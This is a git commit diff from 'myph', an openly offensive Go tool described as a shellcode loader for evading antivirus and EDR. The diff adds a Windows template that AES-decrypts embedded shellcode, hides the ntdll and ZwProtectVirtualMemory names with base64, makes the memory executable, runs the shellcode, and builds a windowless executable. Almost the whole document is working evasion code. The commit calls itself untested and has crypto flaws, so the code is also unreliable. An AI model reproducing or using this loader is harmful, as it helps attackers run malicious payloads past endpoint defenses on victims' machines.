myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit 0787d7cd48b77289bc0cb6b50fadd866bdf87db1
parent 91d7072f0560c53777360c617bfb00547b4085e5
Author: winds0r <[email protected]>
Date: Mon, 6 Feb 2023 20:28:20 +0900

feat(loader): basic windows loader(untested)

Diffstat:
Mcli/defaults.go | 12+++++++++++-
Mcli/parser.go | 28++++++++++++++++++++--------
Mcli/types.go | 2+-
Mloader/aes.go | 66++++++++++++++++++++----------------------------------------------
Mloader/utils.go | 45---------------------------------------------
Aloader/windows.go | 68++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

6 files changed, 120 insertions(+), 101 deletions(-)

diff --git a/cli/defaults.go b/cli/defaults.go
@@ -1,12 +1,22 @@
 package cli
 
+import (
+	"crypto/rand"
+)
+
 // Get default value for Options struct
 func GetDefaultCLIOptions() Options {
     opts := Options{
         ShellcodePath: "",
-        AesKey: "VerySecretAESKey",
+        AesKey: RandBytes(32),
         Outfile: "myph-out",
     }
 
     return opts
 }
+
+func RandBytes(length int) []byte {
+    b := make([]byte, length)
+    rand.Read(b)
+    return b
+}
diff --git a/cli/parser.go b/cli/parser.go
@@ -20,16 +20,17 @@ func GetParser(opts *Options) *cobra.Command {
         Long: `CLI to prepare your shellcode and do AV/EDR bypass`,
         Run: func(cmd *cobra.Command, args []string) {
 
-            pre_encrypted_payload, err := loader.ReadFile(opts.ShellcodePath); if err != nil {
-                fmt.Println("Read shellcode error: %s", err.Error())
+            if opts.ShellcodePath == "" {
+                fmt.Println("[!] Please specify your shellcode's path with -s")
                 os.Exit(1)
             }
 
-            payload, err := loader.EncryptPayload(pre_encrypted_payload, []byte(opts.AesKey)); if err != nil {
-                fmt.Println("Encryption error: %s", err.Error())
+            plaintext_payload, err := loader.ReadFile(opts.ShellcodePath); if err != nil {
+                fmt.Printf("[!] Read shellcode error: %s\n", err.Error())
                 os.Exit(1)
             }
 
+            payload := loader.Encrypt(opts.AesKey, plaintext_payload)
             s := loader.Shellcode{
                 Payload: payload,
                 Filename: opts.Outfile,
@@ -38,16 +39,27 @@ func GetParser(opts *Options) *cobra.Command {
 
             toCompile := loader.LoadWindowsTemplate(s)
             err  = loader.WriteToTempfile(toCompile); if err != nil {
-                fmt.Println("Write error: %s", err.Error())
+                fmt.Printf("Write error: %s\n", err.Error())
                 os.Exit(1)
             }
 
+            os.Setenv("GOOS", "windows")
+
             /* run compilation */
-            err = exec.Command("go", "build", "-ldflags", "-w -s -H=windowsgui", "-o", s.Filename, "tmp.go").Run()
-            if err != nil {
+            err = exec.Command(
+                "go",
+                "build",
+                "-ldflags",
+                "-s -w -H=windowsgui",
+                "-o",
+                s.Filename,
+                "tmp.go",
+            ).Run(); if err != nil {
                 println("[!] Compile error: " + err.Error())
                 return
             }
+
+            os.Remove("tmp.go")
         },
     }
 
@@ -55,7 +67,7 @@ func GetParser(opts *Options) *cobra.Command {
 
     cmd.PersistentFlags().StringVarP(&opts.Outfile, "outfile", "o", defaults.Outfile, "output filepath")
     cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
-    cmd.PersistentFlags().StringVarP(&opts.AesKey, "aes-key", "a", defaults.AesKey, "aes shellcode encryption key")
+    cmd.PersistentFlags().BytesHexVarP(&opts.AesKey, "aes-key", "a", defaults.AesKey, "AES key for shellcode encryption")
 
     return cmd
 }
diff --git a/cli/types.go b/cli/types.go
@@ -9,5 +9,5 @@ type Options struct {
     Outfile string
 
     // AES shellcode encryption secret
-    AesKey string
+    AesKey []byte
 }
diff --git a/loader/aes.go b/loader/aes.go
@@ -1,57 +1,31 @@
-package loader;
-
+package loader
 
 import (
-	"bytes"
 	"crypto/aes"
-	"crypto/cipher"
-	"crypto/rand"
-	"errors"
-	"io"
+	"fmt"
+	"os"
 )
 
-func EncryptPayload(key []byte, payload []byte) ([]byte, error) {
-	block, err := aes.NewCipher(key)
-	if err != nil {
-		return nil, err
-	}
-
-	paddingLen := aes.BlockSize - (len(payload) % aes.BlockSize)
-	paddingText := bytes.Repeat([]byte{byte(paddingLen)}, paddingLen)
-	textWithPadding := append(payload, paddingText...)
-
-	ciphertext := make([]byte, aes.BlockSize+len(textWithPadding))
-	iv := ciphertext[:aes.BlockSize]
-
-	if _, err := io.ReadFull(rand.Reader, iv); err != nil {
-		return nil, err
-	}
+func Encrypt(key []byte, plaintext []byte) []byte {
+    c, err := aes.NewCipher(key); if err != nil {
+        fmt.Printf("[!] cipher gen: %s\n", err.Error())
+        os.Exit(1)
+    }
 
-	cfbEncrypter := cipher.NewCFBEncrypter(block, iv)
-	cfbEncrypter.XORKeyStream(ciphertext[aes.BlockSize:], textWithPadding)
-
-	return ciphertext, nil
+    out := make([]byte, len(plaintext))
+    c.Encrypt(out, plaintext)
+    return out
 }
 
-func DecryptPayload(key []byte, payload []byte) ([]byte, error) {
-
-	block, err := aes.NewCipher(key)
-	if err != nil {
-		return nil, err
-	}
-
-	if (len(payload) % aes.BlockSize) != 0 {
-		return nil, errors.New("payload length should be % of AES blocksize")
-	}
-
-	iv := payload[:aes.BlockSize]
+func DecryptAES(key []byte, payload []byte) string {
 
-	decodedCipherMsg := payload[aes.BlockSize:]
-	cfbDecrypter := cipher.NewCFBDecrypter(block, iv)
-	cfbDecrypter.XORKeyStream(decodedCipherMsg, decodedCipherMsg)
+    c, err := aes.NewCipher(key); if err != nil {
+        fmt.Printf("[!] cipher gen: %s\n", err.Error())
+        os.Exit(1)
+    }
 
-	length := len(decodedCipherMsg)
-	paddingLen := int(decodedCipherMsg[length-1])
-	result := decodedCipherMsg[:(length - paddingLen)]
-	return result, nil
+    plaintext := make([]byte, len(payload))
+    c.Decrypt(plaintext, payload)
+    s := string(plaintext[:])
+    return s
 }
diff --git a/loader/utils.go b/loader/utils.go
@@ -3,56 +3,11 @@ package loader
 import (
 	"bufio"
 	"bytes"
-	"fmt"
 	"io"
 	"log"
 	"os"
 )
 
-
-func LoadWindowsTemplate(s Shellcode) string {
-    return fmt.Sprintf(`
-    package main
-
-    import (
-        "os"
-        "syscall"
-        "encoding/base64"
-
-        "github.com/cmepw/loader"
-    )
-
-    func main() {
-        /* decrypt shellcode using AES */
-        payload, err := loader.DecryptPayload(%s, %s); if err != nil {
-            os.Exit(1)
-        }
-
-        ntdll, _ := base64.StdEncoding.DecodeString("bnRkbGw=")
-        zwprotectMemory, _ := base64.StdEncoding.DecodeString("WndQcm90ZWN0VmlydHVhbE1lbW9yeQ==")
-
-        var hProcess uintptr = 0
-        var pBaseAddr = uintptr(unsafe.Pointer(&payload[0]))
-        var dwBufferLen = uint(len(payload))
-        var dwOldPerm uint32
-
-        /* prepare syscall in memory */
-        syscall.NewLazyDLL(ntdll).NewProc(zwprotectMemory).call(
-            hProcess - 1,
-            uintptr(unsafe.Pointer(&pBaseAddr)),
-            uintptr(unsafe.Pointer(&dwBufferLen)),
-            0x20, /* PAGE_EXEC_READ */
-            uintptr(unsafe.Pointer(&dwOldPerm)),
-        )
-
-        /* run syscall */
-        syscall.Syscall(
-            uintptr(unsafe.Pointer(&syscall[0])),
-            0, 0, 0, 0,
-        )
-    })`, s.AesKey, s.Payload)
-}
-
 func ReadFile(filepath string) ([]byte, error) {
 
     buf := bytes.NewBuffer(nil)
diff --git a/loader/windows.go b/loader/windows.go
@@ -0,0 +1,68 @@
+package loader
+
+import (
+	"encoding/hex"
+	"fmt"
+)
+
+func LoadWindowsTemplate(s Shellcode) string {
+
+    hexShellcode := hex.EncodeToString(s.Payload)
+    hexKey := hex.EncodeToString(s.AesKey)
+
+    return fmt.Sprintf(`
+package main
+
+import (
+        "crypto/aes"
+        "encoding/base64"
+        "encoding/hex"
+        "os"
+    "unsafe"
+        "syscall"
+)
+
+func decrypt(key string, payload string) []byte {
+    ciphertext, _ := hex.DecodeString(payload)
+    keyAsBytes, _ := hex.DecodeString(key)
+
+    c, err := aes.NewCipher(keyAsBytes); if err != nil {
+        os.Exit(1)
+    }
+
+    plaintext := make([]byte, len(payload))
+    c.Decrypt(plaintext, ciphertext)
+    s := string(plaintext[:])
+    return []byte(s)
+}
+
+func main() {
+    /* decrypt shellcode using AES */
+    payload := decrypt("%s", "%s")
+    ntdll, _ := base64.StdEncoding.DecodeString("bnRkbGw=")
+    zwprotectMemory, _ := base64.StdEncoding.DecodeString("WndQcm90ZWN0VmlydHVhbE1lbW9yeQ==")
+
+    var hProcess uintptr = 0
+    var pBaseAddr = uintptr(unsafe.Pointer(&payload[0]))
+    var dwBufferLen = uint(len(payload))
+    var dwOldPerm uint32
+
+    /* prepare syscall in memory */
+    syscall.NewLazyDLL(string(ntdll)).NewProc(string(zwprotectMemory)).Call(
+        hProcess - 1,
+        uintptr(unsafe.Pointer(&pBaseAddr)),
+        uintptr(unsafe.Pointer(&dwBufferLen)),
+        0x20, /* PAGE_EXEC_READ */
+        uintptr(unsafe.Pointer(&dwOldPerm)),
+    )
+
+    /* run syscall */
+    syscall.Syscall(
+        uintptr(unsafe.Pointer(&payload[0])),
+        0, 0, 0, 0,
+    )
+}
+`, hexKey, hexShellcode)
+}
+
+